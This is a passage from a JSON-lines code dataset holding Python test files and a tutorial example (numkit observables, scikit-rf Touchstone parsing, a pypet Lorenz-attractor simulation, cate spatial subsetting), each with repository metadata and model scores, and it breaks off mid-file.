"max_forks_repo_path": "paiza-larning/iterable_iterator_map.py", "max_forks_repo_name": "y-uchiida/python-training", "max_forks_repo_head_hexsha": "7e08fc7c049cb9330e17a024b9089865415a6acd", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.1315789474, "max_line_length": 88, "alphanum_fraction": 0.7142857143, "include": true, "reason": "import numpy", "num_tokens": 1304, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.32766831395172374, "lm_q2_score": 0.15405756074950905, "lm_q1q2_score": 0.050479781182306886}}
{"text": "# -*- coding: utf-8 -*-\n# numkit.integration test cases\n# Part of GromacsWrapper\n# Copyright (c) Oliver Beckstein <orbeckst@gmail.com>\n# Published under the Modified BSD Licence.\n\n\"\"\"\n===================================\n Test cases for numkit.observables\n====================================\n\n\"\"\"\nfrom __future__ import division\n\nimport numkit.observables\n\nimport numpy as np\nfrom numpy.testing import assert_equal, assert_almost_equal\n\nimport pytest\n\n\nclass TestQID(object):\n    @staticmethod\n    def test_None():\n        q = numkit.observables.QID()\n        assert q is None\n\n    @staticmethod\n    @pytest.mark.parametrize(\"identifiers\", [\n        (0, 1, 42), 42, (\"a\", \"b\", \"a\"), (\"aba\", ), \"aba\",\n        ])\n    def test_create(identifiers):\n        q = numkit.observables.QID(identifiers)\n        assert q == set(numkit.observables.asiterable(identifiers))\n\n    @staticmethod\n    def test_union():\n        q1 = numkit.observables.QID([1, 2, 3])\n        q2 = numkit.observables.QID([4, 2, 3, 5])\n\n        q3 = q1.union(q2)\n\n        assert isinstance(q3, frozenset)\n        assert q3 == set([1, 2, 3, 4, 2, 3, 5])\n\n@pytest.fixture\ndef Q1():\n    return numkit.observables.QuantityWithError(1.0, 0.5)\n\n@pytest.fixture\ndef Q1b():\n    return numkit.observables.QuantityWithError(1.0, 0.5)\n\n\n@pytest.fixture\ndef Q2():\n    return numkit.observables.QuantityWithError(-1.0, 1.0)\n\n@pytest.fixture()\ndef Q(Q1, Q1b, Q2):\n    return {'Q1': Q1, 'Q1b': Q1b, 'Q2': Q2}\n\nclass TestQuantityWithError(object):\n    def test_astuple(self, Q1):\n        assert Q1.astuple() == (Q1.value, Q1.error)\n\n    def test_astuple_other_Q(self, Q1, Q2, ref=(-1.0, 1.0)):\n        self._test_astuple_other(Q1, Q2, ref)\n\n    def test_astuple_other_float(self, Q1, other=22.3, ref=(22.3, 0)):\n        self._test_astuple_other(Q1, other, ref)\n\n    def _test_astuple_other(self, q, other, ref):\n        val, err, qid = q._astuple(other)\n        assert_almost_equal((val, err), ref)\n        if hasattr(other, \"qid\"):\n            assert qid == other.qid\n\n    def test_error(self, Q1):\n        assert_almost_equal(Q1.variance, Q1.error**2)\n\n    def test_set_error(self, Q2, error=2.0):\n        Q2.error = error\n        assert Q2.variance == error**2\n\n    @pytest.mark.parametrize(\"q1,q2,same\", [\n        (\"Q1\", \"Q1\", True),\n        (\"Q1\", \"Q1b\", False),\n        (\"Q1\", \"Q2\", False),\n        (\"Q2\", \"Q2\", True),\n    ])\n    def test_sameness(self, Q, q1, q2, same):\n        assert (Q[q1].isSame(Q[q2])) == same\n\n    @pytest.mark.parametrize(\"q1,q2,same\", [\n        (\"Q1\", \"Q1\", True),\n        (\"Q1\", \"Q1b\", True),\n        (\"Q1\", \"Q2\", False),\n        (\"Q2\", \"Q2\", True),\n    ])\n    def test_equality(self, Q, q1, q2, same):\n        assert (Q[q1] == Q[q2]) == same\n\n    @pytest.mark.parametrize(\"op,ref\",\n                             [(\"Q1 {} Q2\".format(op),\n                               \"Q1.value {} Q2.value\".format(op)) for op in\n                              (\">\", \">=\", \"<\", \"<=\", \"==\")])\n    def test_comparisons(self, Q1, Q2, op, ref):\n        assert eval(op) == eval(ref)\n\n\n    @pytest.mark.parametrize(\"op,value\", [\n        (lambda x, y: 5*x, True),\n        (lambda x, y: x*5, True),\n        (lambda x, y: -x, True),\n        (lambda x, y: abs(x), True),\n        (lambda x, y: x + x, True),\n        (lambda x, y: x - x, True),\n        (lambda x, y: x * x, True),\n        (lambda x, y: x * x * x, True),\n        (lambda x, y: x / x, True),\n        (lambda x, y: 5 + x, True),\n        (lambda x, y: 5 - x, True),\n        (lambda x, y: x - 5, True),\n        (lambda x, y: x**x, True),\n        pytest.param(lambda x, y: x**3, True,\n                     marks=pytest.mark.xfail),  # need to fix\n        (lambda x, y: x - 5*y, False),\n        (lambda x, y: x * y, False),\n        (lambda x, y: y / x, False),\n        (lambda x, y: x**y, False),\n    ]   )\n    def test_sameness_algebra(self, Q1, Q2, op, value):\n        assert Q1.isSame(op(Q1, Q2)) == value\n\n    def test_copy(self, Q1):\n        other = Q1.copy()\n        assert not Q1.isSame(other)\n\n    def test_deepcopy(self, Q1):\n        other = Q1.deepcopy()\n        assert Q1.isSame(other)\n\n", "meta": {"hexsha": "ec8fe74c461056ceb0abb1737a86d40caaa841c1", "size": 4109, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/numkit/tests/test_observables.py", "max_stars_repo_name": "Becksteinlab/numkit", "max_stars_repo_head_hexsha": "0a734642f63a9cd985d07446c5711fb1b239ea22", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2017-05-03T22:58:21.000Z", "max_stars_repo_stars_event_max_datetime": "2021-07-20T19:30:37.000Z", "max_issues_repo_path": "src/numkit/tests/test_observables.py", "max_issues_repo_name": "Becksteinlab/numkit", "max_issues_repo_head_hexsha": "0a734642f63a9cd985d07446c5711fb1b239ea22", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 23, "max_issues_repo_issues_event_min_datetime": "2017-03-28T08:14:37.000Z", "max_issues_repo_issues_event_max_datetime": "2021-09-01T23:56:43.000Z", "max_forks_repo_path": "src/numkit/tests/test_observables.py", "max_forks_repo_name": "Becksteinlab/numkit", "max_forks_repo_head_hexsha": "0a734642f63a9cd985d07446c5711fb1b239ea22", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2019-02-12T16:56:54.000Z", "max_forks_repo_forks_event_max_datetime": "2019-02-12T16:56:54.000Z", "avg_line_length": 28.3379310345, "max_line_length": 75, "alphanum_fraction": 0.5366269165, "include": true, "reason": "import numpy,from numpy", "num_tokens": 1276, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.10087863354259306, "lm_q1q2_score": 0.05043931677129653}}
{"text": "\nimport unittest\nimport os\nimport numpy as npy\n\nimport skrf as rf\nfrom skrf.io.touchstone import Touchstone\n\n\nclass TouchstoneTestCase(unittest.TestCase):\n    '''\n    TouchstoneTestCase tests the IO of Touchstone files\n    '''\n    def setUp(self):\n        '''\n        Sets up the test directory\n        '''\n        self.test_dir = os.path.dirname(os.path.abspath(__file__))+'/'\n\n    def test_read_data(self):\n        '''\n        This test reads data from simple_touchstone.s2p and compares with known\n        true values.\n        '''\n        filename = os.path.join(self.test_dir, 'simple_touchstone.s2p')\n        touch = Touchstone(filename)\n        f, s = touch.get_sparameter_arrays()\n        z0 = complex(touch.resistance)\n        f_true = npy.array([1.00000000e+09, 1.10000000e+09])\n        s_true = npy.array([[[1.+2.j, 5.+6.j], [3.+4.j, 7.+8.j]],\n                            [[9.+10.j, 13.+14.j], [11.+12.j, 15.+16.j]]])\n        z0_true = 50+50j\n\n        self.assertTrue((f == f_true).all())\n        self.assertTrue((s == s_true).all())\n        self.assertTrue((z0 == z0_true))\n\n\n    def test_read_from_fid(self):\n        '''\n        This tests reading touch stone data from a file object as compared with\n        a string path and name of the file.\n        '''\n        with open(os.path.join(self.test_dir, 'simple_touchstone.s2p')) as fid:\n            touch = Touchstone(fid)\n        f, s = touch.get_sparameter_arrays()\n        z0 = complex(touch.resistance)\n        f_true = npy.array([1.00000000e+09, 1.10000000e+09])\n        s_true = npy.array([[[1.+2.j, 5.+6.j], [3.+4.j, 7.+8.j]],\n                            [[9.+10.j, 13.+14.j], [11.+12.j, 15.+16.j]]])\n        z0_true = 50+50j\n\n        self.assertTrue((f == f_true).all())\n        self.assertTrue((s == s_true).all())\n        self.assertTrue((z0 == z0_true))\n\n    def test_get_sparameter_data(self):\n        '''\n        This tests the get_sparameter_data function.\n\n        '''\n        with open(os.path.join(self.test_dir, 'simple_touchstone.s2p')) as fid:\n            touch = Touchstone(fid)\n\n        expected_keys = [\"frequency\", \"S11R\", \"S11I\", \"S12R\", \"S12I\",\n                \"S21R\", \"S21I\", \"S22R\", \"S22I\", ]\n\n        unexpected_keys = ['S11DB', 'S11M', ]\n\n        # get dict data structure\n        sp_ri = touch.get_sparameter_data(format=\"ri\")\n\n        # test data structure\n        for ek in expected_keys:\n            self.assertTrue(ek in sp_ri)\n\n        for uk in unexpected_keys:\n            self.assertFalse(uk in sp_ri)\n\n        # test data contents\n        expected_sp_ri = {\n            'frequency': npy.array([1.0e+09, 1.1e+09]),\n            'S11R': npy.array([1., 9.]),\n            'S11I': npy.array([ 2., 10.]),\n            'S21R': npy.array([ 3., 11.]),\n            'S21I': npy.array([ 4., 12.]),\n            'S12R': npy.array([ 5., 13.]),\n            'S12I': npy.array([ 6., 14.]),\n            'S22R': npy.array([ 7., 15.]),\n            'S22I': npy.array([ 8., 16.]),\n        }\n\n        for k in sp_ri:\n            self.assertTrue(k in expected_sp_ri)\n\n            self.assertTrue( (expected_sp_ri[k] == sp_ri[k]).all(),\n                    msg='Field %s does not match. Expected \"%s\", got \"%s\"'%(\n                        k, str(expected_sp_ri[k]), str(sp_ri[k]))  )\n\n\nsuite = unittest.TestLoader().loadTestsFromTestCase(TouchstoneTestCase)\nunittest.TextTestRunner(verbosity=2).run(suite)\n\n", "meta": {"hexsha": "09d11de8efb1495692bbdab4b74580ebee162bb8", "size": 3380, "ext": "py", "lang": "Python", "max_stars_repo_path": "skrf/io/tests/test_touchstone.py", "max_stars_repo_name": "buguen/scikit-rf", "max_stars_repo_head_hexsha": "c2bc0dd1050df1cb8264010fef32f6e78cdf5851", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-05-01T05:59:16.000Z", "max_stars_repo_stars_event_max_datetime": "2020-05-01T05:59:16.000Z", "max_issues_repo_path": "skrf/io/tests/test_touchstone.py", "max_issues_repo_name": "buguen/scikit-rf", "max_issues_repo_head_hexsha": "c2bc0dd1050df1cb8264010fef32f6e78cdf5851", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "skrf/io/tests/test_touchstone.py", "max_forks_repo_name": "buguen/scikit-rf", "max_forks_repo_head_hexsha": "c2bc0dd1050df1cb8264010fef32f6e78cdf5851", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.5, "max_line_length": 79, "alphanum_fraction": 0.5446745562, "include": true, "reason": "import numpy", "num_tokens": 955, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.10087862746054115, "lm_q1q2_score": 0.05043931373027057}}
{"text": "__author__ = 'Robert Meyer'\n\nimport numpy as np\nimport inspect\nimport os # For path names being viable under Windows and Linux\n\nfrom pypet import Environment, Parameter, ArrayParameter, Trajectory\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\n\n\n# Here we will see how we can write our own custom parameters and how we can use\n# it with a trajectory.\n\n# Now we want to do a more sophisticated simulations, we will integrate a differential equation\n# with an Euler scheme\n\n# Let's first define our job to do\ndef euler_scheme(traj, diff_func):\n    \"\"\"Simulation function for Euler integration.\n\n    :param traj:\n\n        Container for parameters and results\n\n    :param diff_func:\n\n        The differential equation we want to integrate\n\n    \"\"\"\n\n    steps = traj.steps\n    initial_conditions = traj.initial_conditions\n    dimension = len(initial_conditions)\n\n    # This array will collect the results\n    result_array = np.zeros((steps,dimension))\n    # Get the function parameters stored into `traj` as a dictionary\n    # with the (short) names as keys :\n    func_params_dict = traj.func_params.f_to_dict(short_names=True, fast_access=True)\n    # Take initial conditions as first result\n    result_array[0] = initial_conditions\n\n    # Now we compute the Euler Scheme steps-1 times\n    for idx in range(1,steps):\n        result_array[idx] = diff_func(result_array[idx-1], **func_params_dict) * traj.dt + \\\n                            result_array[idx-1]\n    # Note the **func_params_dict unzips the dictionary, it's the reverse of **kwargs in function\n    # definitions!\n\n    #Finally we want to keep the results\n    traj.f_add_result('euler_evolution', data=result_array, comment='Our time series data!')\n\n\n# Ok, now we want to make our own (derived) parameter that stores source code of python functions.\n# We do NOT want a parameter that stores an executable function. This would complicate\n# the problem a lot. If you have something like that in mind, you might wanna take a look\n# at the marshal (http://docs.python.org/2/library/marshal) module\n# or dill (https://pypi.python.org/pypi/dill) package.\n# Our intention here is to define a parameter that we later on use as a derived parameter\n# to simply keep track of the source code we use ('git' would be, of course, the better solution\n# but this is just an illustrative example)\nclass FunctionParameter(Parameter):\n    # We need to override the `f_set` function and simply extract the the source code if our\n    # item is callable and store this instead.\n    def f_set(self, data):\n        if callable(data):\n            data = inspect.getsource(data)\n        return super(FunctionParameter, self).f_set(data)\n\n    # For more complicate parameters you might consider implementing:\n    # `f_supports` (we do not need it since we convert the data to stuff the parameter already\n    #    supports, and that is strings!)\n    #\n    # and\n    # the private functions\n    #\n    # `_values_of_same_type` (to tell whether data is similar, i.e. of two data items agree in their\n    #   type, this is important to only allow exploration within the same dimension.\n    #   For instance, a parameter that stores integers, should only explore integers etc.)\n    #\n    # and\n    #\n    # `_equal_values` (to tell if two data items are equal. This is important for merging if you\n    #       want to erase duplicate parameter points. The trajectory needs to know when a\n    #       parameter space point was visited before.)\n    #\n    # and\n    #\n    # `_store` (to be able to turn complex data into basic types understood by the storage service)\n    #\n    # and\n    #\n    # `_load` (to be able to recover your complex data form the basic types understood by the storage\n    # service)\n    #\n    # But for now we will rely on the parent functions and hope for the best!\n\n\n\n# Ok now let's follow the ideas in the final section of the cookbook and let's\n# have a part in our simulation that only defines the parameters.\ndef add_parameters(traj):\n    \"\"\"Adds all necessary parameters to the `traj` container\"\"\"\n\n    traj.f_add_parameter('steps', 10000, comment='Number of time steps to simulate')\n    traj.f_add_parameter('dt', 0.01, comment='Step size')\n\n    # Here we want to add the initial conditions as an array parameter. We will simulate\n    # a 3-D differential equation, the Lorenz attractor.\n    traj.f_add_parameter(ArrayParameter,'initial_conditions', np.array([0.0,0.0,0.0]),\n                         comment = 'Our initial conditions, as default we will start from'\n                                   ' origin!')\n\n    # We will group all parameters of the Lorenz differential equation into the group 'func_params'\n    traj.f_add_parameter('func_params.sigma', 10.0)\n    traj.f_add_parameter('func_params.beta', 8.0/3.0)\n    traj.f_add_parameter('func_params.rho', 28.0)\n\n    #For the fun of it we will annotate the  group\n    traj.func_params.v_annotations.info='This group contains as default the original values chosen ' \\\n                                   'by Edward Lorenz in 1963. Check it out on wikipedia ' \\\n                                   '(https://en.wikipedia.org/wiki/Lorenz_attractor)!'\n\n\n# We need to define the lorenz function, we will assume that the value array is 3 dimensional,\n# First dimension contains the x-component, second y-component, and third the z-component\ndef diff_lorenz(value_array, sigma, beta, rho):\n    \"\"\"The Lorenz attractor differential equation\n\n    :param value_array: 3d array containing the x,y, and z component values.\n    :param sigma: Constant attractor parameter\n    :param beta: FConstant attractor parameter\n    :param rho: Constant attractor parameter\n\n    :return: 3d array of the Lorenz system evaluated at `value_array`\n\n    \"\"\"\n    diff_array = np.zeros(3)\n    diff_array[0] = sigma * (value_array[1]-value_array[0])\n    diff_array[1] = value_array[0] * (rho - value_array[2]) - value_array[1]\n    diff_array[2] = value_array[0] * value_array[1] - beta * value_array[2]\n\n    return diff_array\n\n\n# And here goes our main function\ndef main():\n\n    filename = os.path.join('hdf5', 'example_05.hdf5')\n    env = Environment(trajectory='Example_05_Euler_Integration',\n                      filename=filename,\n                      file_title='Example_05_Euler_Integration',\n                      overwrite_file=True,\n                      comment='Go for Euler!')\n\n\n    traj = env.trajectory\n    trajectory_name = traj.v_name\n\n    # 1st a) phase parameter addition\n    add_parameters(traj)\n\n    # 1st b) phase preparation\n    # We will add the differential equation (well, its source code only) as a derived parameter\n    traj.f_add_derived_parameter(FunctionParameter,'diff_eq', diff_lorenz,\n                                 comment='Source code of our equation!')\n\n    # We want to explore some initial conditions\n    traj.f_explore({'initial_conditions' : [\n        np.array([0.01,0.01,0.01]),\n        np.array([2.02,0.02,0.02]),\n        np.array([42.0,4.2,0.42])\n    ]})\n    # 3 different conditions are enough for an illustrative example\n\n    # 2nd phase let's run the experiment\n    # We pass `euler_scheme` as our top-level simulation function and\n    # the Lorenz equation 'diff_lorenz' as an additional argument\n    env.run(euler_scheme, diff_lorenz)\n\n    # We don't have a 3rd phase of post-processing here\n\n    # 4th phase analysis.\n    # I would recommend to do post-processing completely independent from the simulation,\n    # but for simplicity let's do it here.\n\n    # Let's assume that we start all over again and load the entire trajectory new.\n    # Yet, there is an error within this approach, do you spot it?\n    del traj\n    traj = Trajectory(filename=filename)\n\n    # We will only fully load parameters and derived parameters.\n    # Results will be loaded manually later on.\n    try:\n        # However, this will fail because our trajectory does not know how to\n        # build the FunctionParameter. You have seen this coming, right?\n        traj.f_load(name=trajectory_name, load_parameters=2, load_derived_parameters=2,\n                    load_results=1)\n    except ImportError as e:\n\n        print('That did\\'nt work, I am sorry: %s ' % str(e))\n\n        # Ok, let's try again but this time with adding our parameter to the imports\n        traj = Trajectory(filename=filename,\n                           dynamically_imported_classes=FunctionParameter)\n\n        # Now it works:\n        traj.f_load(name=trajectory_name, load_parameters=2, load_derived_parameters=2,\n                    load_results=1)\n\n\n    #For the fun of it, let's print the source code\n    print('\\n ---------- The source code of your function ---------- \\n %s' % traj.diff_eq)\n\n    # Let's get the exploration array:\n    initial_conditions_exploration_array = traj.f_get('initial_conditions').f_get_range()\n    # Now let's plot our simulated equations for the different initial conditions:\n    # We will iterate through the run names\n    for idx, run_name in enumerate(traj.f_get_run_names()):\n\n        #Get the result of run idx from the trajectory\n        euler_result = traj.results.f_get(run_name).euler_evolution\n        # Now we manually need to load the result. Actually the results are not so large and we\n        # could load them all at once. But for demonstration we do as if they were huge:\n        traj.f_load_item(euler_result)\n        euler_data = euler_result.data\n\n        #Plot fancy 3d plot\n        fig = plt.figure(idx)\n        ax = fig.gca(projection='3d')\n        x = euler_data[:,0]\n        y = euler_data[:,1]\n        z = euler_data[:,2]\n        ax.plot(x, y, z, label='Initial Conditions: %s' % str(initial_conditions_exploration_array[idx]))\n        plt.legend()\n        plt.show()\n\n        # Now we free the data again (because we assume its huuuuuuge):\n        del euler_data\n        euler_result.f_empty()\n\n    # You have to click through the images to stop the example_05 module!\n\n    # Finally disable logging and close all log-files\n    env.disable_logging()\n\n\nif __name__ == '__main__':\n    main()\n\n", "meta": {"hexsha": "56923452fee326587109d3ccba971afc0091cef6", "size": 10056, "ext": "py", "lang": "Python", "max_stars_repo_path": "examples/example_05_custom_parameter.py", "max_stars_repo_name": "dilawar/pypet", "max_stars_repo_head_hexsha": "98673767d1e310a36ca1dcd9fe5b0d51e496db37", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 85, "max_stars_repo_stars_event_min_datetime": "2015-01-16T11:50:40.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-26T08:15:42.000Z", "max_issues_repo_path": "examples/example_05_custom_parameter.py", "max_issues_repo_name": "sthagen/pypet", "max_issues_repo_head_hexsha": "2769c74eff55c165c9002cc67611b96b1d2377ea", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 51, "max_issues_repo_issues_event_min_datetime": "2015-01-10T14:00:12.000Z", "max_issues_repo_issues_event_max_datetime": "2021-09-11T17:42:35.000Z", "max_forks_repo_path": "examples/example_05_custom_parameter.py", "max_forks_repo_name": "sthagen/pypet", "max_forks_repo_head_hexsha": "2769c74eff55c165c9002cc67611b96b1d2377ea", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 20, "max_forks_repo_forks_event_min_datetime": "2015-01-16T11:51:15.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-26T08:15:44.000Z", "avg_line_length": 39.9047619048, "max_line_length": 105, "alphanum_fraction": 0.6832736675, "include": true, "reason": "import numpy", "num_tokens": 2345, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.10087862070270603, "lm_q1q2_score": 0.05043931035135302}}
{"text": "\"\"\"\nTests for subsetting operations\n\"\"\"\nfrom datetime import datetime\nfrom unittest import TestCase\n\nimport numpy as np\nimport xarray as xr\nimport pandas as pd\n\nfrom cate.core.op import OP_REGISTRY\nfrom cate.core.opimpl import subset_spatial_impl\nfrom cate.core.types import ValidationError\nfrom cate.ops import subset\nfrom cate.util.misc import object_to_qualified_name\n\n\ndef assert_dataset_equal(expected, actual):\n    # this method is functionally equivalent to\n    # `assert expected == actual`, but it checks each aspect\n    # of equality separately for easier debugging\n    assert expected.equals(actual), (expected, actual)\n\n\ndef get_test_subset_non_valid_lat_lon_dataset():\n    temp = np.random.randn(2, 2, 3)\n    precip = np.random.rand(2, 2, 3)\n    lon = [[-40, 40], [-40, 40]]\n    lat = [[-50, 50], [-50, 50]]\n    return xr.Dataset({'temp': (['x', 'y', 'time'], temp),\n                       'precip': (['x', 'y', 'time'], precip)},\n                      coords={'lon': (['x', 'y'], lon),\n                              'lat': (['x', 'y'], lat),\n                              'time': pd.date_range('2014-09-06', periods=3)})\n\n\nclass TestSubsetSpatial(TestCase):\n    def test_subset_non_valid_lat_lon(self):\n        \"\"\"\n        Test whether lat and/or lon exist and if they exist whether they have dimension = 1\n        :return: void\n        \"\"\"\n\n        # Test whether lat lon exist\n        dataset = xr.Dataset({\n            'first': (['xc', 'yc', 'time'], np.ones([180, 360, 6])),\n            'second': (['xc', 'yc', 'time'], np.ones([180, 360, 6])),\n            'xc': np.linspace(-89.5, 89.5, 180),\n            'yc': np.linspace(-179.5, 179.5, 360),\n        })\n\n        with self.assertRaises(ValidationError) as error:\n            subset_spatial_impl(dataset, (-40, 40, -50, 50))\n        self.assertIn('No (valid) geocoding found', str(error.exception))\n\n        # test whether lat lon has the wrong dimension (!=1)\n        dataset = get_test_subset_non_valid_lat_lon_dataset()\n\n        with self.assertRaises(ValidationError) as error:\n            subset_spatial_impl(dataset, (-40, 40, -50, 50))\n        self.assertIn('Geocoding not recognised', str(error.exception))\n\n    def test_nominal(self):\n        \"\"\"\n        Test general 'most expected' use case functionality.\n        \"\"\"\n        dataset = xr.Dataset({\n            'first': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),\n            'second': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),\n            'lat': np.linspace(-89.5, 89.5, 180),\n            'lon': np.linspace(-179.5, 179.5, 360)})\n        actual = subset.subset_spatial(dataset, \"-20, -10, 20, 10\")\n        expected = xr.Dataset({\n            'first': (['lat', 'lon', 'time'], np.ones([22, 42, 6])),\n            'second': (['lat', 'lon', 'time'], np.ones([22, 42, 6])),\n            'lat': np.linspace(-10.5, 10.5, 22),\n            'lon': np.linspace(-20.5, 20.5, 42)})\n        assert_dataset_equal(expected, actual)\n\n    def test_inverted_dims_nominal(self):\n        \"\"\"\n        Test if the implementation is dimension order agnostic.\n        \"\"\"\n        # Inverted lat\n        dataset = xr.Dataset({\n            'first': (['lon', 'lat', 'time'], np.ones([360, 180, 6])),\n            'second': (['lon', 'lat', 'time'], np.ones([360, 180, 6])),\n            'lat': np.linspace(89.5, -89.5, 180),\n            'lon': np.linspace(-179.5, 179.5, 360)})\n        actual = subset.subset_spatial(dataset, \"-20, -10, 20, 10\")\n        expected = xr.Dataset({\n            'first': (['lon', 'lat', 'time'], np.ones([42, 22, 6])),\n            'second': (['lon', 'lat', 'time'], np.ones([42, 22, 6])),\n            'lat': np.linspace(10.5, -10.5, 22),\n            'lon': np.linspace(-20.5, 20.5, 42)})\n        assert_dataset_equal(expected, actual)\n\n    def test_generic_masked(self):\n        \"\"\"\n        Test using a generic Polygon and masking\n        \"\"\"\n        # Africa\n        a = str('POLYGON((-10.8984375 35.60371874069731,-19.16015625 '\n                '23.885837699861995,-20.56640625 17.14079039331665,-18.6328125 '\n                '7.536764322084079,-10.72265625 0.7031073524364783,10.37109375 '\n                '0.3515602939922709,10.37109375 -22.268764039073965,22.8515625 '\n                '-42.29356419217007,37.79296875 -27.21555620902968,49.39453125 '\n                '-3.5134210456400323,54.4921875 14.093957177836236,18.984375 '\n                '35.88905007936091,-10.8984375 35.60371874069731))')\n\n        dataset = xr.Dataset({\n            'first': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),\n            'second': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),\n            'lat': np.linspace(-89.5, 89.5, 180),\n            'lon': np.linspace(-179.5, 179.5, 360)})\n        actual = subset.subset_spatial(dataset, a)\n        # Gulf of Guinea\n        gog = actual.sel(method='nearest', **{'lon': 1.2, 'lat': -1.4})\n        self.assertTrue(np.isnan(gog['first']).all())\n        # Africa\n        self.assertTrue(1 == actual.sel(method='nearest', **{'lon': 20.7, 'lat': 6.15}))\n\n    def test_generic_masked_inverted(self):\n        \"\"\"\n        Test using a generic Polygon and masking\n        \"\"\"\n        # Africa\n        a = str('POLYGON((-10.8984375 35.60371874069731,-19.16015625 '\n                '23.885837699861995,-20.56640625 17.14079039331665,-18.6328125 '\n                '7.536764322084079,-10.72265625 0.7031073524364783,10.37109375 '\n                '0.3515602939922709,10.37109375 -22.268764039073965,22.8515625 '\n                '-42.29356419217007,37.79296875 -27.21555620902968,49.39453125 '\n                '-3.5134210456400323,54.4921875 14.093957177836236,18.984375 '\n                '35.88905007936091,-10.8984375 35.60371874069731))')\n\n        # Inverted lat\n        dataset = xr.Dataset({\n            'first': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),\n            'second': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),\n            'lat': np.linspace(89.5, -89.5, 180),\n            'lon': np.linspace(-179.5, 179.5, 360)})\n        actual = subset.subset_spatial(dataset, a)\n        # Gulf of Guinea\n        gog = actual.sel(method='nearest', **{'lon': 1.2, 'lat': -1.4})\n        self.assertTrue(np.isnan(gog['first']).all())\n        # Africa\n        self.assertTrue(1 == actual.sel(method='nearest', **{'lon': 20.7, 'lat': 6.15}))\n\n    def test_generic_not_masked(self):\n        \"\"\"\n        Test using a generic Polygon without masking\n        \"\"\"\n        # Africa\n        a = str('POLYGON((-10.8984375 35.60371874069731,-19.16015625 '\n                '23.885837699861995,-20.56640625 17.14079039331665,-18.6328125 '\n                '7.536764322084079,-10.72265625 0.7031073524364783,10.37109375 '\n                '0.3515602939922709,10.37109375 -22.268764039073965,22.8515625 '\n                '-42.29356419217007,37.79296875 -27.21555620902968,49.39453125 '\n                '-3.5134210456400323,54.4921875 14.093957177836236,18.984375 '\n                '35.88905007936091,-10.8984375 35.60371874069731))')\n\n        dataset = xr.Dataset({\n            'first': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),\n            'second': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),\n            'lat': np.linspace(-89.5, 89.5, 180),\n            'lon': np.linspace(-179.5, 179.5, 360)})\n        actual = subset.subset_spatial(dataset, a, mask=False)\n        # Gulf of Guinea\n        self.assertTrue(1 == actual.sel(method='nearest', **{'lon': 1.2, 'lat': -1.4}))\n        # Africa\n        self.assertTrue(1 == actual.sel(method='nearest', **{'lon': 20.7, 'lat': 6.15}))\n\n    def test_generic_not_masked_inverted(self):\n        \"\"\"\n        Test using a generic Polygon without masking\n        \"\"\"\n        # Africa\n        a = str('POLYGON((-10.8984375 35.60371874069731,-19.16015625 '\n                '23.885837699861995,-20.56640625 17.14079039331665,-18.6328125 '\n                '7.536764322084079,-10.72265625 0.7031073524364783,10.37109375 '\n                '0.3515602939922709,10.37109375 -22.268764039073965,22.8515625 '\n                '-42.29356419217007,37.79296875 -27.21555620902968,49.39453125 '\n                '-3.5134210456400323,54.4921875 14.093957177836236,18.984375 '\n                '35.88905007936091,-10.8984375 35.60371874069731))')\n\n        # Inverted lat\n        dataset = xr.Dataset({\n            'first': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),\n            'second': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),\n            'lat': np.linspace(89.5, -89.5, 180),\n            'lon': np.linspace(-179.5, 179.5, 360)})\n        actual = subset.subset_spatial(dataset, a, mask=False)\n        # Gulf of Guinea\n        self.assertTrue(1 == actual.sel(method='nearest', **{'lon': 1.2, 'lat': -1.4}))\n        # Africa\n        self.assertTrue(1 == actual.sel(method='nearest', **{'lon': 20.7, 'lat': 6.15}))\n\n    def test_registered(self):\n        \"\"\"\n        Test if it runs as an operation registered in the op registry.\n        \"\"\"\n        reg_op = OP_REGISTRY.get_op(object_to_qualified_name(subset.subset_spatial))\n        dataset = xr.Dataset({\n            'first': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),\n            'second': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),\n            'lat': np.linspace(-89.5, 89.5, 180),\n            'lon': np.linspace(-179.5, 179.5, 360)})\n        actual = reg_op(ds=dataset, region=\"-20, -10, 20, 10\")\n        expected = xr.Dataset({\n            'first': (['lat', 'lon', 'time'], np.ones([22, 42, 6])),\n            'second': (['lat', 'lon', 'time'], np.ones([22, 42, 6])),\n            'lat': np.linspace(-10.5, 